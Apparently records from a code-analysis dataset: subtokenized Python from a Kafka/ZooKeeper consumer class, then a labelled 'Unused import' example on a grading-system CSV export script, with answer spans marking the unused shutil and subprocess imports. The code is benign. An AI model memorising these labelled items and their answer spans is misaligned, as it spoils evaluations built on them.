"(_", "all", "\\u", "broker", "\\u", "partitions_", ")_", "/_", "len_", "(_", "all", "\\u", "topic", "\\u", "consumers", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "consumers", "\\u", "with", "\\u", "extra_", "=_", "range_", "(_", "len_", "(_", "all", "\\u", "broker", "\\u", "partitions_", ")_", "%_", "len_", "(_", "all", "\\u", "topic", "\\u", "consumers", "_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "the", " ", "current", " ", "consume", "r", " ", "is", " ", "amo", "ng", " ", "tho", "se", " ", "tha", "t", " ", "have", " ", "an", " ", "extra", " ", "partit", "ion", "..._", "\\u\\u\\uNL\\u\\u\\u_", "num", "\\u", "parts_", "=_", "bp", "\\u", "per", "\\u", "consumer_", "+_", "(_", "1_", "if_", "my", "\\u", "index_", "in_", "consumers", "\\u", "with", "\\u", "extra_", "else_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "We", "'", "re", " ", "the", " ", "first", " ", "index", ",_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "my", "\\u", "index_", "==_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "start_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "All", " ", "the", " ", "indexe", "s", " ", "bef", "ore", " ", "us", " ", "where", " ", "ones", " ", "with", " ", "extra", " ", "consumers", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "my", "\\u", "index_", "-_", "1_", "in_", "consumers", "\\u", "with", "\\u", "extra_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "start_", "=_", "my", "\\u", "index_", "*_", "(_", "bp", "\\u", "per", "\\u", "consumer_", "+_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "There", " ", "is", " ", "0", " ", "or", " ", "more", " ", "consumers", " ", "with", " ", "extra", " ", "partit", "ion", "s", " ", "followe", "d", " ", "by", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "1", " ", "or", " ", "more", " ", "partit", "ion", "s", " ", "with", " ", "no", " ", "extra", " ", "partitions_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "start_", "=_", "(_", "len_", "(_", "consumers", "\\u", "with", "\\u", "extra_", ")_", "*_", "(_", "bp", "\\u", "per", "\\u", "consumer_", "+_", "1_", ")_", ")_", "+_", "(_", "(_", "my", "\\u", "index_", "-_", "len_", "(_", "consumers", "\\u", "with", "\\u", "extra_", ")_", ")_", "*_", "bp", "\\u", "per", "\\u", "consumer_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###", " ", "Set", " ", "our", " ", "state", " ", "info", "...", " ", "###########", "###", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "\\u", "broker", "\\u", "partitions_", "=_", "all", "\\u", "broker", "\\u", "partitions_", "[_", "start_", ":_", "start_", "+_", "num", "\\u", "parts_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "We", " ", "keep", " ", "a", " ", "mapping", " ", "of", " ", "Broker", "Partition", "s", " ", "to", " ", "thei", "r", " ", "offset", "s", ".", " ", "We", " ", "dit", "ch", " ", "tho", "se_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Broker", "Partition", "s", " ", "we", " ", "are", " ", "no", " ", "long", "er", " ", "responsib", "le", " ", "for", "..._", "\\u\\u\\uNL\\u\\u\\u_", "for_", "bp_", "in_", "self_", "._", "\\u", "bps", "\\u", "to", "\\u", "next", "\\u", "offsets_", "._", "keys_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "bp_", "not_", "in_", "self_", "._", "\\u", "broker", "\\u", "partitions_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "del_", "self_", "._", "\\u", "bps", "\\u", "to", "\\u", "next", "\\u", "offsets_", "[_", "bp_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "We", " ", "like", "wis", "e", " ", "add", " ", "new", " ", "Broker", "Partition", "s", " ", "we", "'", "re", " ", "responsib", "le", " ", "for", " ", "to", " ", "our", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "BP", "->", "offset", " ", "mapping", ",", " ", "and", " ", "set", " ", "thei", "r", " ", "offset", "s", " ", "to", " ", "Non", "e", ",", " ", "to", " ", "indicat", "e", " ", "that_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "we", " ", "don", "'", "t", " ", "know", ",", " ", "and", " ", "we", " ", "have", " ", "to", " ", "check", " ", "ZK", " ", "for", " ", "them", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "bp_", "in_", "self_", "._", "\\u", "broker", "\\u", "partitions_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "bps", "\\u", "to", "\\u", "next", "\\u", "offsets_", "._", "setdefault_", "(_", "bp_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Thi", "s", " ", "will", " ", "collapse", " ", "duplicat", "es", " ", "so", " ", "we", " ", "only", " ", "have", " ", "one", " ", "conn", " ", "per", " ", "host", "/", "port_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "broker", "\\u", "conn", "\\u", "info_", "=_", "frozenset_", "(_", "(_", "bp_", "._", "broker", "\\u", "id_", ",_", "bp_", "._", "host_", ",_", "bp_", "._", "port_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "bp_", "in_", "self_", "._", "\\u", "broker", "\\u", "partitions_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "connections_", "=_", "dict_", "(_", "(_", "broker", "\\u", "id_", ",_", "Ka", "fk", "a_", "(_", "host_", ",_", "port_", ")_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "broker", "\\u", "id_", ",_", "host_", ",_", "port_", "in_", "broker", "\\u", "conn", "\\u", "info_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Register", " ", "all", " ", "our", " ", "callback", "s", " ", "so", " ", "we", " ", "know", " ", "whe", "n", " ", "to", " ", "do", " ", "this", " ", "next_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "\\u", "register", "\\u", "callbacks_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "\\u", "all", "\\u", "callback", "s", "\\u", "registered_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "need", "s", "\\u", "rebalance", "_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Report", " ", "our", " ", "progress_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "log_", "._", "info_", "(_", "\"", "Reb", "alance", " ", "finish", "ed", " ", "for", " ", "Consume", "r", " ", "{", "0", "}:", " ", "{", "1", "}\"_", "._", "format_", "(_", "self_", "._", "id_", ",_", "unicode_", "(_", "self_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "ZK", "Consumer_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "disable", "\\u", "rebalance", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "For", " ", "debugg", "ing", " ", "purpose", "s", " ", "--", " ", "disable", " ", "reb", "alan", "cing", " ", "so", " ", "tha", "t", " ", "we", " ", "can", " ", "more", " ", "\\", "10", ";", " ", " ", " ", " ", "easi", "ly", " ", "test", " ", "thing", "s", " ", "like", " ", "try", "ing", " ", "to", " ", "request", " ", "from", " ", "a", " ", "Ka", "fk", "a", " ", "broker", "\\", "10", ";", " ", " ", " ", " ", "tha", "t", "'", "s", " ", "down", ".", " ", "Normal", "ly", ",", " ", "the", " ", "reb", "alan", "cing", " ", "means", " ", "tha", "t", " ", "we", " ", "shou", "ld", " ", "only", " ", "\\", "10", ";", " ", " ", " ", " ", "encounter", " ", "these", " ", "situation", "s", " ", "in", " ", "race", " ", "condition", "s", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "I", " ", "cann", "ot", " ", "think", " ", "of", " ", "any", " ", "reason", " ", "you", " ", "wou", "ld", " ", "want", " ", "to", " ", "do", " ", "this", " ", "in", " ", "actual", " ", "code", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "rebalance", "\\u", "enabled_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "ZK", "Consumer_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "enable", "\\u", "rebalance", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "For", " ", "debugg", "ing", " ", "purpose", "s", " ", "--", " ", "re", "-", "enable", " ", "reb", "alan", "cing", " ", "so", " ", "tha", "t", " ", "we", " ", "can", " ", "more", " ", "\\", "10", ";", " ", " ", " ", " ", "easi", "ly", " ", "test", " ", "thing", "s", " ", "like", " ", "try", "ing", " ", "to", " ", "request", " ", "from", " ", "a", " ", "Ka", "fk", "a", " ", "broker", "\\", "10", ";", " ", " ", " ", " ", "tha", "t", "'", "s", " ", "down", ".", " ", "Normal", "ly", ",", " ", "the", " ", "reb", "alan", "cing", " ", "means", " ", "tha", "t", " ", "we", " ", "shou", "ld", " ", "only", " ", "\\", "10", ";", " ", " ", " ", " ", "encounter", " ", "these", " ", "situation", "s", " ", "in", " ", "race", " ", "condition", "s", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "I", " ", "cann", "ot", " ", "think", " ", "of", " ", "any", " ", "reason", " ", "you", " ", "wou", "ld", " ", "want", " ", "to", " ", "do", " ", "this", " ", "in", " ", "actual", " ", "code", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "rebalance", "\\u", "enabled_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "ZK", "Consumer_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "unb", "alance", "_", "(_", "self_", ",_", "nodes_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "We", " ", "use", " ", "this", " ", "so", " ", "tha", "t", " ", "reb", "alan", "cing", " ", "can", " ", "happ", "en", " ", "at", " ", "specific", " ", "points", " ", "(", "like", "\\", "10", ";", " ", " ", " ", " ", "bef", "ore", " ", "we", " ", "make", " ", "a", " ", "new", " ", "fetch", ").\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "need", "s", "\\u", "rebalance", "_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "ZK", "Consumer_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "all", "\\u", "callback", "s", "\\u", "registered_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Are", " ", "all", " ", "the", " ", "callback", "s", " ", "we", " ", "need", " ", "to", " ", "know", " ", "whe", "n", " ", "to", " ", "rebalance", " ", "actual", "ly", " ", "\\", "10", ";", " ", " ", " ", " ", "register", "ed", "?", " ", "Some", " ", "of", " ", "these", " ", "(", "like", " ", "the", " ", "topic", " ", "ones", ")", " ", "are", " ", "the", " ", "responsib", "ilit", "y", "\\", "10", ";", " ", " ", " ", " ", "of", " ", "the", " ", "broker", " ", "to", " ", "create", ".", " ", "If", " ", "the", "y", "'", "re", " ", "not", " ", "all", " ", "register", "ed", " ", "ye", "t", ",", " ", "we", " ", "need", " ", "\\", "10", ";", " ", " ", " ", " ", "to", " ", "be", " ", "para", "noi", "d", " ", "abo", "ut", " ", "reb", "alan", "cing", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "all_", "(_", "[_", "self_", "._", "\\u", "consumers", "\\u", "watch_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "\\u", "broker", "s", "\\u", "watch_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "\\u", "topic", "s", "\\u", "watch_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "\\u", "topic", "\\u", "watch_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "ZK", "Consumer_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "register", "\\u", "callbacks_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "zk_", "=_", "self_", "._", "\\u", "zk", "\\u", "util_", "._", "\\u", "zk_", "#", " ", "FIX", "ME", ":", " ", "Evi", "l", " ", "break", "ing", " ", "of", " ", "encapsulat", "ion_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "All", " ", "this", " ", "if", " ", "Non", "e", " ", "nons", "ense", " ", "is", " ", "there", " ", "bec", "aus", "e", " ", "some", " ", "of", " ", "these", " ", "nodes_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "need", " ", "to", " ", "be", " ", "created", " ", "by", " ", "the", " ", "broker", " ", "but", " ", "won", "'", "t", " ", "be", " ", "unti", "l", " ", "the", " ", "topic", " ", "is", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "created", "._", "\\u\\u\\uNL\\u\\u\\u_", "path", "\\u", "for", "\\u", "consumers", "_", "=_", "self_", "._", "\\u", "zk", "\\u", "util_", "._", "path", "\\u", "for", "\\u", "consume", "r", "\\u", "ids_", "(_", "self_", "._", "consume", "r", "\\u", "group_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "path", "\\u", "for", "\\u", "broker", "s_", "=_", "self_", "._", "\\u", "zk", "\\u", "util_", "._", "path", "\\u", "for", "\\u", "broker", "s_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "path", "\\u", "for", "\\u", "topics_", "=_", "self_", "._", "\\u", "zk", "\\u", "util_", "._", "path", "\\u", "for", "\\u", "topics_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "path", "\\u", "for", "\\u", "topic_", "=_", "self_", "._", "\\u", "zk", "\\u", "util_", "._", "path", "\\u", "for", "\\u", "topic_", "(_", "self_", "._", "topic_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "\\u", "consumers", "\\u", "watch_", "is_", "None_", "and_", "zk_", "._", "exists_", "(_", "path", "\\u", "for", "\\u", "consumers", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "consumers", "\\u", "watch_", "=_", "zk_", "._", "children_", "(_", "path", "\\u", "for", "\\u", "consumers", "_", ")_", "(_", "self_", "._", "\\u", "unb", "alance", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "\\u", "broker", "s", "\\u", "watch_", "is_", "None_", "and_", "zk_", "._", "exists_", "(_", "path", "\\u", "for", "\\u", "broker", "s_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "broker", "s", "\\u", "watch_", "=_", "zk_", "._", "children_", "(_", "path", "\\u", "for", "\\u", "broker", "s_", ")_", "(_", "self_", "._", "\\u", "unb", "alance", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "\\u", "topic", "s", "\\u", "watch_", "is_", "None_", "and_", "zk_", "._", "exists_", "(_", "path", "\\u", "for", "\\u", "topics_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "topic", "s", "\\u", "watch_", "=_", "zk_", "._", "children_", "(_", "path", "\\u", "for", "\\u", "topics_", ")_", "(_", "self_", "._", "\\u", "unb", "alance", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "\\u", "topic", "\\u", "watch_", "is_", "None_", "and_", "zk_", "._", "exists_", "(_", "path", "\\u", "for", "\\u", "topic_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "topic", "\\u", "watch_", "=_", "zk_", "._", "children_", "(_", "path", "\\u", "for", "\\u", "topic_", ")_", "(_", "self_", "._", "\\u", "unb", "alance", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "log_", "._", "debug_", "(_", "\"", "Consume", "r", " ", "{", "0", "}", " ", "has", " ", "watch", "es", ":", " ", "{", "1", "}\"_", "\\u\\u\\uNL\\u\\u\\u_", "._", "format_", "(_", "self_", "._", "\\u", "id_", ",_", "sorted_", "(_", "zk_", "._", "watch", "es_", "._", "data_", "._", "keys_", "(_", ")_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "ZK", "Consumer_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "unicode\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "bp", "\\u", "ids_", "=_", "[_", "bp_", "._", "id_", "for_", "bp_", "in_", "self_", "._", "\\u", "broker", "\\u", "partitions_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "(_", "\"", "ZK", "Consume", "r", " ", "{", "0", "}", " ", "attache", "d", " ", "to", " ", "broker", " ", "partit", "ion", "s", " ", "{", "1", "}\"_", "\\u\\u\\uNL\\u\\u\\u_", "._", "format_", "(_", "self_", "._", "id_", ",_", "bp", "\\u", "ids_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "ZK", "Consumer_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "del\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "close_", "(_", ")_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
ucrcsedept/galah/galah/sisyphus/tasks/create_assignment_csv.py
[ { "content": "import shutil\nimport subprocess\nimport os\nimport datetime\nimport os.path\nfrom bson import ObjectId\n\nfrom galah.db.models import Submission, CSV, TestResult, User, Assignment\n\n# Set up configuration and logging\nfrom galah.base.config import load_config\nconfig = load_config(\"sisyphus\")\n\nimport logging\nlogger = logging.getLogger(\"galah.sisyphus.create_assignment_csv\")\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def _create_assignment_csv(csv_id, requester, assignment):\n csv_id = ObjectId(csv_id)\n\n csv_file = temp_directory = \"\"\n\n # Find any expired archives and remove them\n deleted_files = []\n for i in CSV.objects(expires__lt = datetime.datetime.today()):\n deleted_files.append(i.file_location)\n\n if i.file_location:\n try:\n os.remove(i.file_location)\n except OSError as e:\n logger.warning(\n \"Could not remove expired csv file at %s: %s.\",\n i.file_location, str(e)\n )\n\n i.delete()\n\n if deleted_files:\n logger.info(\"Deleted csv files %s.\", str(deleted_files))\n\n # This is the CSV object that will be added to the database\n new_csv = CSV(\n id = csv_id,\n requester = requester\n )\n\n temp_directory = csv_file = None\n try:\n assn = Assignment.objects.get(id = ObjectId(assignment))\n\n # Grab all student users for this class.\n users = list(\n User.objects(\n account_type = \"student\",\n classes = assn.for_class\n )\n )\n\n # Form the query\n query = {\n \"assignment\": ObjectId(assignment),\n \"most_recent\": True,\n \"user__in\": [i.id for i in users]\n }\n\n # Grab the most recent submissions from each user.\n submissions = list(Submission.objects(**query))\n\n # Create the actual csv file.\n csv_file = open(os.path.join(config[\"CSV_DIRECTORY\"], str(csv_id)), \"w\")\n\n for i in submissions:\n score = \"None\"\n if i.test_results:\n test_result = TestResult.objects.get(id = i.test_results)\n score = str(test_result.score)\n\n print >> csv_file, \"%s,%s,%s\" % \\\n (i.user, score, i.timestamp.strftime(\"%Y-%m-%d-%H-%M-%S\"))\n\n csv_file.close()\n\n new_csv.file_location = os.path.join(config[\"CSV_DIRECTORY\"], str(csv_id))\n\n new_csv.expires = \\\n datetime.datetime.today() + config[\"TEACHER_CSV_LIFETIME\"]\n\n new_csv.save(force_insert = True)\n except Exception as e:\n new_csv.file_location = None\n os.remove(os.path.join(config[\"CSV_DIRECTORY\"], str(csv_id)))\n\n new_csv.error_string = str(e)\n new_csv.save(force_insert = True)\n\n raise", "metadata": "root._create_assignment_csv", "header": "['module', '___EOS___']", "index": 16 } ]
[ { "span": "import shutil", "start_line": 0, "start_column": 0, "end_line": 0, "end_column": 13 }, { "span": "import subprocess", "start_line": 1, "start_column": 0, "end_line": 1, "end_column": 17 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "import_", "shutil_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "subprocess_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "datetime_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "os_", "._", "path_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "bson_", "import_", "Object", "Id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "gal", "ah", "_", "._", "db_", "._", "models_", "import_", "Submission_", ",_", "CSV_", ",_", "Test", "Result_", ",_", "User_", ",_", "Assignment_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Set", " ", "up", " ", "configura", "tion", " ", "and", " ", "logging_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "gal", "ah", "_", "._", "base_", "._", "config_", "import_", "load", "\\u", "config_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "config_", "=_", "load", "\\u", "config_", "(_", "\"", "sis", "yp", "hus", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "logging_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "logger_", "=_", "logging_", "._", "get", "Logger_", "(_", "\"", "gal", "ah", ".", "sis", "yp", "hus", ".", "create", "\\u", "assign", "ment", "\\u", "csv", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u", "create", "\\u", "assign", "ment", "\\u", "csv_", "(_", "csv", "\\u", "id_", ",_", "requester_", ",_", "assignment_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "csv", "\\u", "id_", "=_", "Object", "Id_", "(_", "csv", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "csv", "\\u", "file_", "=_", "temp", "\\u", "directory_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Fin", "d", " ", "any", " ", "expir", "ed", " ", "archives", " ", "and", " ", "remove", " ", "them", "_", "\\u\\u\\uNL\\u\\u\\u_", "delete", "d\\u", "files_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "CSV_", "._", "objects_", "(_", "expir", "es", "\\u\\u", "lt_", "=_", "datetime_", "._", "datetime_", "._", "today_", "(_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "delete", "d\\u", "files_", "._", "append_", "(_", "i_", "._", "file", "\\u", "location_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "i_", "._", "file", "\\u", "location_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "remove_", "(_", "i_", "._", "file", "\\u", "location_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "OSE", "rror_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logger_", "._", "warning_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Cou", "ld", " ", "not", " ", "remove", " ", "expir", "ed", " ", "csv", " ", "file", " ", "at", " ", "%", "s", ":", " ", "%", "s", ".\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "i_", "._", "file", "\\u", "location_", ",_", "str_", "(_", "e_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "i_", "._", "delete_", "(_", ")_", 